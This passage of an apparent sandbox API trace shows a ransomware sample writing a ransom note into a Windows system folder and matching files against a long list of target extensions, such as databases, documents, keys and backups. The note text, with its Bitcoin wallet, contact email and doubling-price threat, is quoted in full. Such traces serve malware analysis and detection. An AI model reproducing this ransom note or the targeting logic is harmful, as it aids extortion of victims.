ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WebAdminWithConfirmation.master") returned -1 [0165.565] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WebAdminWithConfirmation.master") returned -1 [0165.565] lstrcmpiA (lpString1="", lpString2="WebAdminWithConfirmation.master") returned -1 [0165.565] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminStyles.css") returned="WebAdminStyles.css" [0165.565] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" [0165.565] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\") returned="" [0165.565] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" [0165.565] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt")) returned 0xffffffff [0165.565] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.565] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.565] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.566] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.566] CloseHandle (hObject=0xffffffff) returned 0 [0165.566] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\", lpString2="WebAdminWithConfirmation.master" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master" [0165.566] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.ems") returned 0 [0165.566] lstrlenA (lpString="*.ems") returned 5 [0165.566] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.db") returned 0 [0165.566] lstrlenA (lpString="*.db") returned 4 [0165.566] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.dbf") returned 0 [0165.566] lstrlenA (lpString="*.dbf") returned 5 [0165.566] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.myox") returned 0 [0165.566] lstrlenA (lpString="*.myox") returned 6 [0165.566] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.myo") returned 0 [0165.566] lstrlenA (lpString="*.myo") returned 5 [0165.566] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.qbw") returned 0 [0165.566] lstrlenA (lpString="*.qbw") returned 5 [0165.566] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.qbb") returned 0 [0165.566] lstrlenA (lpString="*.qbb") returned 5 [0165.566] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.qbm") returned 0 [0165.566] lstrlenA (lpString="*.qbm") returned 5 [0165.566] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.qbo") returned 0 [0165.566] lstrlenA (lpString="*.qbo") returned 5 [0165.566] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.qbx") returned 0 [0165.566] lstrlenA (lpString="*.qbx") returned 5 [0165.566] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.qba") returned 0 [0165.566] lstrlenA (lpString="*.qba") returned 5 [0165.567] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.qby") returned 0 [0165.567] lstrlenA (lpString="*.qby") returned 5 [0165.567] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.qbj") returned 0 [0165.567] lstrlenA (lpString="*.qbj") returned 5 [0165.567] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.ofx") returned 0 [0165.567] lstrlenA (lpString="*.ofx") returned 5 [0165.567] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.qif") returned 0 [0165.567] lstrlenA (lpString="*.qif") returned 5 [0165.567] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.mye") returned 0 [0165.567] lstrlenA (lpString="*.mye") returned 5 [0165.567] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.mbox") returned 0 [0165.567] lstrlenA (lpString="*.mbox") returned 6 [0165.567] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.eml") returned 0 [0165.567] lstrlenA (lpString="*.eml") returned 5 [0165.567] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.pst") returned 0 [0165.567] lstrlenA (lpString="*.pst") returned 5 [0165.567] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.ost") returned 0 [0165.567] lstrlenA (lpString="*.ost") returned 5 [0165.567] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.idx") returned 0 [0165.567] lstrlenA (lpString="*.idx") returned 5 [0165.567] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.dbx") returned 0 [0165.567] lstrlenA (lpString="*.dbx") returned 5 [0165.567] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.sql") returned 0 [0165.567] lstrlenA (lpString="*.sql") returned 5 [0165.567] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.mdb") returned 0 [0165.567] lstrlenA (lpString="*.mdb") returned 5 [0165.567] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.fdb") returned 0 [0165.567] lstrlenA (lpString="*.fdb") returned 5 [0165.568] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.wab") returned 0 [0165.568] lstrlenA (lpString="*.wab") returned 5 [0165.568] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.dat") returned 0 [0165.568] lstrlenA (lpString="*.dat") returned 5 [0165.568] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.txt") returned 0 [0165.568] lstrlenA (lpString="*.txt") returned 5 [0165.568] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.jpeg") returned 0 [0165.568] lstrlenA (lpString="*.jpeg") returned 6 [0165.568] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.jpg") returned 0 [0165.568] lstrlenA (lpString="*.jpg") returned 5 [0165.568] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.png") returned 0 [0165.568] lstrlenA (lpString="*.png") returned 5 [0165.568] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.php") returned 0 [0165.568] lstrlenA (lpString="*.php") returned 5 [0165.568] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.cs") returned 0 [0165.568] lstrlenA (lpString="*.cs") returned 4 [0165.568] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.cpp") returned 0 [0165.568] lstrlenA (lpString="*.cpp") returned 5 [0165.568] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.rar") returned 0 [0165.568] lstrlenA (lpString="*.rar") returned 5 [0165.568] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.zip") returned 0 [0165.568] lstrlenA (lpString="*.zip") returned 5 [0165.568] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.html") returned 0 [0165.568] lstrlenA (lpString="*.html") returned 6 [0165.568] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.htm") returned 0 [0165.568] lstrlenA (lpString="*.htm") returned 5 [0165.568] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.xlsx") returned 0 [0165.568] lstrlenA (lpString="*.xlsx") returned 6 [0165.569] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.xls") returned 0 [0165.569] lstrlenA (lpString="*.xls") returned 5 [0165.569] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.mp4") returned 0 [0165.569] lstrlenA (lpString="*.mp4") returned 5 [0165.569] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.ppt") returned 0 [0165.569] lstrlenA (lpString="*.ppt") returned 5 [0165.569] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.pptx") returned 0 [0165.569] lstrlenA (lpString="*.pptx") returned 6 [0165.569] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.doc") returned 0 [0165.569] lstrlenA (lpString="*.doc") returned 5 [0165.569] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.dot") returned 0 [0165.569] lstrlenA (lpString="*.dot") returned 5 [0165.569] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.docx") returned 0 [0165.569] lstrlenA (lpString="*.docx") returned 6 [0165.569] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.7z") returned 0 [0165.569] lstrlenA (lpString="*.7z") returned 4 [0165.569] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.tar") returned 0 [0165.569] lstrlenA (lpString="*.tar") returned 5 [0165.569] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.bz2") returned 0 [0165.569] lstrlenA (lpString="*.bz2") returned 5 [0165.569] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.gz") returned 0 [0165.569] lstrlenA (lpString="*.gz") returned 4 [0165.569] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.mkv") returned 0 [0165.569] lstrlenA (lpString="*.mkv") returned 5 [0165.569] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.eml") returned 0 [0165.569] lstrlenA (lpString="*.eml") returned 5 [0165.569] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.msg") returned 0 [0165.569] lstrlenA (lpString="*.msg") returned 5 [0165.569] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.edb") returned 0 [0165.570] lstrlenA (lpString="*.edb") returned 5 [0165.570] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.accdb") returned 0 [0165.570] lstrlenA (lpString="*.accdb") returned 7 [0165.570] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.odb") returned 0 [0165.570] lstrlenA (lpString="*.odb") returned 5 [0165.570] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.java") returned 0 [0165.570] lstrlenA (lpString="*.java") returned 6 [0165.570] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.asm") returned 0 [0165.570] lstrlenA (lpString="*.asm") returned 5 [0165.570] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.pfx") returned 0 [0165.570] lstrlenA (lpString="*.pfx") returned 5 [0165.570] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.pem") returned 0 [0165.570] lstrlenA (lpString="*.pem") returned 5 [0165.570] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.p12") returned 0 [0165.570] lstrlenA (lpString="*.p12") returned 5 [0165.570] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.gpg") returned 0 [0165.570] lstrlenA (lpString="*.gpg") returned 5 [0165.570] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.vsd") returned 0 [0165.570] lstrlenA (lpString="*.vsd") returned 5 [0165.570] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.odg") returned 0 [0165.570] lstrlenA (lpString="*.odg") returned 5 [0165.570] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.raw") returned 0 [0165.570] lstrlenA (lpString="*.raw") returned 5 [0165.570] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.nef") returned 0 [0165.570] lstrlenA (lpString="*.nef") returned 5 [0165.570] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.svg") returned 0 [0165.570] lstrlenA (lpString="*.svg") returned 5 [0165.570] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.psd") returned 0 [0165.570] lstrlenA (lpString="*.psd") returned 5 [0165.571] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.vmx") returned 0 [0165.571] lstrlenA (lpString="*.vmx") returned 5 [0165.571] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.vmdk") returned 0 [0165.571] lstrlenA (lpString="*.vmdk") returned 6 [0165.571] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.vdi") returned 0 [0165.571] lstrlenA (lpString="*.vdi") returned 5 [0165.571] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.lay6") returned 0 [0165.571] lstrlenA (lpString="*.lay6") returned 6 [0165.571] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.mpeg") returned 0 [0165.571] lstrlenA (lpString="*.mpeg") returned 6 [0165.571] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.djvu") returned 0 [0165.571] lstrlenA (lpString="*.djvu") returned 6 [0165.571] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.tiff") returned 0 [0165.571] lstrlenA (lpString="*.tiff") returned 6 [0165.571] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.backup") returned 0 [0165.571] lstrlenA (lpString="*.backup") returned 8 [0165.571] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.pdf") returned 0 [0165.571] lstrlenA (lpString="*.pdf") returned 5 [0165.571] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.cert") returned 0 [0165.571] lstrlenA (lpString="*.cert") returned 6 [0165.571] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.docm") returned 0 [0165.571] lstrlenA (lpString="*.docm") returned 6 [0165.571] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.xlsm") returned 0 [0165.571] lstrlenA (lpString="*.xlsm") returned 6 [0165.571] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_b03f5f7f11d50a3a_6.1.7600.16385_none_6cb4cb2fec54f7c8\\WebAdminWithConfirmation.master", pszSpec="*.dwg") returned 